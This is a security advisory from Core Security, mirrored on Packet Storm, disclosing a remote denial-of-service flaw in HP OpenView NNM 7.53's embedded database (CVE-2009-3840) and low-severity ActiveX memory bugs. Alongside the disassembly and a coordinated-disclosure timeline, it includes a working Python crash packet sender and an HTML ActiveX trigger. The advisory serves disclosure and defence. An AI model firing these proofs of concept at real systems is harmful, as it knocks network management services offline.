Lucene search

K
packetstormCore Security TechnologiesPACKETSTORM:82767
HistoryNov 18, 2009 - 12:00 a.m.

Core Security Technologies Advisory 2009.0814

2009-11-1800:00:00
Core Security Technologies
packetstormsecurity.com
46

EPSS

0.286

Percentile

96.9%

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
HP Openview NNM 7.53 Invalid DB Error Code vulnerability  
  
  
  
1. *Advisory Information*  
  
Title: HP Openview NNM 7.53 Invalid DB Error Code vulnerability  
Advisory Id: CORE-2009-0814  
Advisory URL:  
http://www.coresecurity.com/content/openview_nnm_internaldb_dos  
Date published: 2009-11-17  
Date of last update: 2009-11-17  
Vendors contacted: HP  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: External Initialization of Trusted Variables [CWE-454]  
Impact: Denial of Service  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: N/A  
CVE Name: CVE-2009-3840  
  
  
3. *Vulnerability Description*  
  
HP Openview Network Node Manager is one of the most widely-deployed  
network monitoring and management platforms used throughout enterprise  
organizations today. The platform includes many server and client-side  
core components with a long list of previously disclosed security bugs.  
In this case, a remotely exploitable vulnerability was found in the  
database server core component used by NNM. Exploitation of the bug does  
not require authentication and will lead to a remotely triggered denial  
of service of the internal database service.  
  
  
4. *Vulnerable packages*  
  
. HP Openview NNM 7.53  
  
Other versions may be vulnerable but were not tested. Refer to the  
vendor's security bulletin for a full list.  
  
  
5. *Non-vulnerable packages*  
  
Refer to the vendor's security bulletin.  
  
  
6. *Vendor Information, Solutions and Workarounds*  
  
The vendor issued security bulletin HPSBMA02477 SSRT090177 to address  
the problem and provide fixes. It is available at  
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c01926980  
  
The database service of HP Openview Network Node Manager is remotely  
accessible on port 2690/tcp. Restricting or blocking access to that port  
will prevent exploitation but may prevent normal operation of Openview NNM.  
  
  
7. *Credits*  
  
This vulnerability was discovered and researched by Damian Frizza from  
Core Security Technologies.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
  
8.1. *HP Openview NNM 7.53 Embedded DB Remote Denial Of Service*  
  
HP Openview Network Node Manager includes an embedded database engine  
service that is enabled by default and accepts remote connections on  
port 2690/tcp. The service is implemented by the 'ovdbrun.exe' which is  
started automatically on boot. For certain transactions upon receiving a  
packet from the network the service will attempt to determine and  
display an error code string based on an error code number specified in  
the packet. By sending a specifically crafted packet with an invalid  
error code number it is possible to remotely trigger an exception that  
forces abnormal termination of the service. It is unlikely that the bug  
could be exploited for anything other than a remote denial of service.  
  
The following code excerpt explains the problem:  
  
/-----  
005FED51 MOVZX EDX,BYTE PTR SS:[ESP+2] #FCFF  
005FED56 MOVSX ECX,WORD PTR SS:[ESP+3]  
005FED5B CMP ECX,-1  
005FED5E MOVSX EAX,WORD PTR SS:[ESP+5] #FCFF  
005FED63 MOV DWORD PTR DS:[ESI+10],EDX  
005FED66 MOV EDX,DWORD PTR SS:[ESP+7]  
005FED6A MOV DWORD PTR DS:[ESI+14],ECX  
005FED6D MOV DWORD PTR DS:[ESI+18],EAX  
005FED70 MOV DWORD PTR DS:[ESI+C],EDX  
005FED73 JGE SHORT ovdbrun.005FED7E  
005FED75 CMP EAX,-1  
005FED78 JGE SHORT ovdbrun.005FED7E  
005FED7A CMP ECX,EAX  
005FED7C JE SHORT ovdbrun.005FED83  
005FED7E MOV EAX,1  
005FED83 ADD ESP,0C  
005FED86 RETN  
  
- -----/  
  
The code above checks for an error condition based on the value of an  
Error Code field in the inbound network packet. An error condition is  
explicitly handled if the Error Code value is less or equal than -1 in  
which case a MessageBox with a corresponding descriptive error string  
will be presented to the user. However by crafting a packet with any  
negative value in the Error Code field different that -1 the lookup for  
the corresponding error string will fail triggering a non-recoverable  
error and thus terminating the server process.  
  
The following python code can be used to reproduce the bug:  
  
/-----  
#!python  
import socket  
import struct  
  
a = struct.pack('<b', 2)  
a += struct.pack('<H', 0)  
a += struct.pack('<H',0xFEFF)  
a += struct.pack('<H',0xFEFF)  
a += "1234"  
  
target_ip = 'X.X.X.X'  
  
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)  
s.connect ((target_ip, 2690))  
  
s.send(a)  
s.close()  
  
- -----/  
  
  
  
8.2. *Additional information: Low severity bugs in ActiveDom.ocx ActiveX*  
  
The ActiveX control 'ActiveDom.ocx' is shipped with HP Openview NNM 7.53  
and installed by default. The control is prone to multiple memory  
corruption bugs due to erroneous handling of overly long strings passed  
to multiple methods. These bugs are considered of low severity because  
the control is not configured as Safe for Scripting or Safe for  
Initialization [1] and therefore cannot be exploited without explicit  
user consent. Since the control was reported by the vendor as not used  
nor required by any component of OpenView NNM, finding deployed systems  
with security configuration settings changed to allow exploitation of  
these bugs is very unlikely. Nonetheless information about them is  
included below for the purpose of completeness in the documentation of  
this advisory.  
  
Some of the ActiveX control's methods with implementation flaws are:  
  
/-----  
DisplayName(str)  
AddGroup(str)  
InstallComponent(str)  
Subscribe(str, str, int)  
  
- -----/  
  
The following excerpt from method DisplayName() demonstrates the problem:  
  
/-----  
2000D408 MOV DWORD PTR SS:[EBP-4],-1  
2000D40F JMP SHORT ACTIVE~1.2000D3D6  
2000D411 MOV EAX,ACTIVE~1.200361A0  
2000D416 JMP <JMP.&MSVCRT.__CxxFrameHandler>  
2000D41B MOV EAX,ACTIVE~1.2000D4A8  
2000D420 CALL <JMP.&MSVCRT._EH_prolog>  
2000D425 SUB ESP,10  
2000D428 PUSH EBX  
2000D429 PUSH ESI  
2000D42A PUSH EDI  
2000D42B MOV DWORD PTR SS:[EBP-10],ESP  
2000D42E MOV DWORD PTR SS:[EBP-14],ECX  
2000D431 XOR EBX,EBX  
2000D433 MOV DWORD PTR SS:[EBP-4],EBX  
2000D436 LEA ESI,DWORD PTR DS:[ECX+28]  
2000D439 MOV ECX,DWORD PTR DS:[ESI] ; ESI = 00038178  
2000D43B MOV EAX,DWORD PTR DS:[ECX] ;  
2000D43D CALL DWORD PTR DS:[EAX+48] ;  
  
- -----/  
  
The following HTML code can be used to trigger the bug:  
  
/-----  
<html>  
<object classid='clsid:A801FD2B-6FA8-11D0-BB85-00AA00A7EAAE' id='target'  
></object>  
<script>  
a = ""  
for (i = 0; i < 10000; i++)  
a = a + "A"  
target.DisplayName(a)  
</script>  
</html>  
  
  
- -----/  
  
  
  
9. *Report Timeline*  
  
. 2009-08-12:  
Core Security Technologies notifies the HP Software Security Response  
Team (SSRT) of the vulnerability and preliminary schedule to publish the  
corresponding security advisory on September 8th 2009. Core asks for  
acknowledgement of the email within 2 working days and whether HP SSRT  
prefers to receive the technical description of the bug encrypted or in  
plaintext.  
  
. 2009-08-12:  
HP SSRT asks Core to send the technical description of the vulnerability  
encrypted using the PGP key with id 0x08B83D45.  
  
. 2009-08-14:  
Core Security Technologies sends technical details encrypted to HP SSRT.  
  
. 2009-08-18:  
HP SSRT informs Core that HP engineering have been notified and will  
notify Core when they have a schedule estimate. SSRT assigned the IDs  
SSRT090177 and SSRT090178 to the vulnerabilities reported by Core.  
  
. 2009-08-27:  
Core requests a status update from HP SSRT.  
  
. 2009-08-27:  
HP SSRT informs Core that the vulnerabilities are in third-party code  
and that the third-party vendor has been notified but there isn't a  
schedule for fixes yet. HP SSRT indicates that it is sure HP will not  
have a solution ready by September 7th.  
  
. 2009-08-27:  
Core informs the HP team that the publication was re-scheduled to  
September 21st and requests an update to continue coordinating the  
release of fixes and publication of the advisory as soon as possible.  
  
. 2009-08-28:  
The HP team informs Core that the third party if planning a release on  
October 30th for the first vulnerability. SSRT also notes that ActiveX  
vulnerabilities are still being investigated.  
  
. 2009-08-31:  
Core Security Technologies acknowledges the information sent by HP SSRT.  
  
. 2009-09-01:  
The HP team communicates that they will inform Core Security  
Technologies when the fix is available.  
  
. 2009-09-04:  
Core asks the HP SSRT to map HP's internal IDs to each of the reported  
vulnerability.  
  
. 2009-09-04:  
The HP SSRT indicates that SSRT090177 corresponds to the embedded  
database vulnerability and SSRT090178 to the ActiveX bugs.  
  
. 2009-09-10:  
Core Security Technologies notifies HP SSRT that publication of the  
advisory has been re-scheduled to October 30th to be able to coordinate  
the release with the issuance of fixes by the third party vendor and  
that if non-third-party vulnerabilities (the ActiveX bugs) could be  
fixed earlier they would be described in a separate advisory.  
  
. 2009-09-11:  
HP SSRT says that it will send any new information to Core on the  
ActiveX bugs if they have something to publish before October 30th.  
  
. 2009-09-21:  
The HP team informs Core that they are having some problems reproducing  
the ActiveX vulnerabilities reported. The NNM engineers have used the  
provided proof-of-concept exploit but did not see any effect. SSRT asks  
if an overflow was confirmed, if process failure was detected and if a  
debugger or a different procedure was used.  
  
. 2009-09-21:  
Core Security Technologies notifies the HP SSRT that the proof of  
concept crash can be observed using a classic debugger or a just-in-time  
debugger that is attached only after an abnormal exception is detected.  
Core also sends HP SSRT another proof of concept HTML code that crashes  
the ActiveX and can be observed without the need of a debugger.  
  
. 2009-09-22:  
The HP team acknowledges previous email from Core with the new PoC to  
reproduce the crashes without a debugger.  
  
. 2009-10-06:  
Core requests a status update from the SSRT noting that it hasn't  
received any update since September 22nd. The advisory is still  
scheduled for publication on October 30th and Core is waiting for  
confirmation that the ActiveX bugs were reproduced and the fix for them  
could be published earlier separately.  
  
. 2009-10-09:  
SSRT updates indicating that fixes from the third party for SSRT090177  
have been received and HP is currently in the process of testing them on  
all platforms expecting an update by October 16th. The ActiveX bugs have  
been reproduced and HP determined that the vulnerable control is not  
necessary for NNM. HP will recommend customers to set the kill bit for  
the control (clsid:A801FD2B-6FA8-11D0-BB85-00AA00A7EAAE) as workaround.  
  
. 2009-10-19:  
Core requests a status update and confirmation that HP will be ready to  
release fixes by October 30th. Core asks if fixes will be issued for all  
vulnerable versions of NNM, whether the fixes or patches will remove the  
unnecessary ActiveX control or just ask customers to implement the  
workaround. Core requests the complete lists of vulnerable versions and  
platforms of NNM and asks if the patches will include fixes to other  
bugs. Also, Core notes that the vendor of the third party component has  
been identified and that since the bug may affect other products Core  
will start a separate vulnerability report process directly with that  
vendor.  
  
. 2009-11-02:  
Email from Core asking for a status update and an acknowledgement and  
response to the questions from the previous email. Core notes that the  
previously agreed publication date for the advisory has already passed  
without any update from HP. The publication date has been unilaterally  
moved to Wednesday November 4th. 2009 and is considered final pending a  
response from HP.  
  
. 2009-11-03:  
Response from HP SSRT stating that there is not an estimated release  
date for patches to some platforms. With regards to the ActiveX bugs, a  
security bulletin will be published on November 9th recommending setting  
the kill bit.  
  
. 2009-11-03:  
Core indicates that since there isn't an estimated patch release date  
for missing platforms the advisory will be published on November 9th and  
will include guidance on how to implement workarounds for both problems.  
Core asks SSRT about the potential impact of blocking or restricting  
access to the vulnerable service as a workaround.  
  
. 2009-11-05:  
SSRT suggests that given that Core advisory will be published earlier  
than HP's security bulletin it should have workarounds for all platforms  
and not just for the ones that may not have a patch available  
afterwards. HP is still investigating the impact of blocking or  
restricting access to the vulnerable port. SSRT asks if Core wants any  
acknowledgement in its security bulletin  
  
. 2009-11-05:  
Core asks what is the planned publication date for HP's bulletin and  
requests that the bulletin credits the discoverer (Damian Frizza).  
Provided that the estimated date for publishing the bulletin is not  
unreasonable Core would rather schedule the publication of the advisory  
to match HP's.  
  
. 2009-11-06:  
SSRT informs that their estimate is to have hotfixes available  
internally by November 13th and released along with the corresponding  
security bulletins by November 17th. SSRT ask whether CVE numbers should  
be assigned by HP or provided by Core.  
  
. 2009-11-06:  
Core re-schedules publication to November 17th. Core asks SSRT to assign  
the CVE numbers.  
  
. 2009-11-12:  
HP SSRT reports that the ActiveX control is not marked as safe for  
scripting or safe for initialization by default and thus the buffer  
overflows in its methods do not seem to be security issues. Asks if Core  
still considers them security vulnerabilities.  
  
. 2009-11-16:  
HP SSRT provides the CVE id assigned to the denial of service bug.  
Indicates that the vendor's security bulletin will not suggest any  
workarounds as the effect of blocking or restricting access to the  
vulnerable service has not been determined.  
  
. 2009-11-16:  
Core confirms that the ActiveX control is not marked as safe for  
scripting or initialization which greatly diminishes the relevance of  
the reported bugs. Nonetheless, the information about the bugs will be  
included in the advisory for the purpose of completeness and to let  
users verify, and if necessary correct, the control's configuration  
settings. Core still recommends the vendor to remove the unnecessary  
control from installation packages and fix the reported bugs to avoid  
potential introduction of flaws if it becomes a used control in the  
future or should an alternative exploitation vector be found.  
  
. 2009-11-17:  
Publication of HP Security Bulletin SSRT090177.  
  
. 2009-11-17:  
Advisory CORE-2009-0814 published.  
  
  
  
10. *References*  
  
[1] Safe Initialization and Scripting for ActiveX Controls.  
http://msdn.microsoft.com/en-us/library/aa751977(VS.85).aspx  
[2] How to stop an ActiveX control from running in Internet Explorer.  
http://support.microsoft.com/kb/240797  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2009 Core Security  
Technologies and (c) 2009 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.8 (MingW32)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/  
  
iEYEARECAAYFAksDICYACgkQyNibggitWa2//ACdFpN6SK4B59Iza5Nq88oASfat  
YhoAn24UcNlJ/lpKv4brl4d6mctKfwMF  
=cR49  
-----END PGP SIGNATURE-----  
`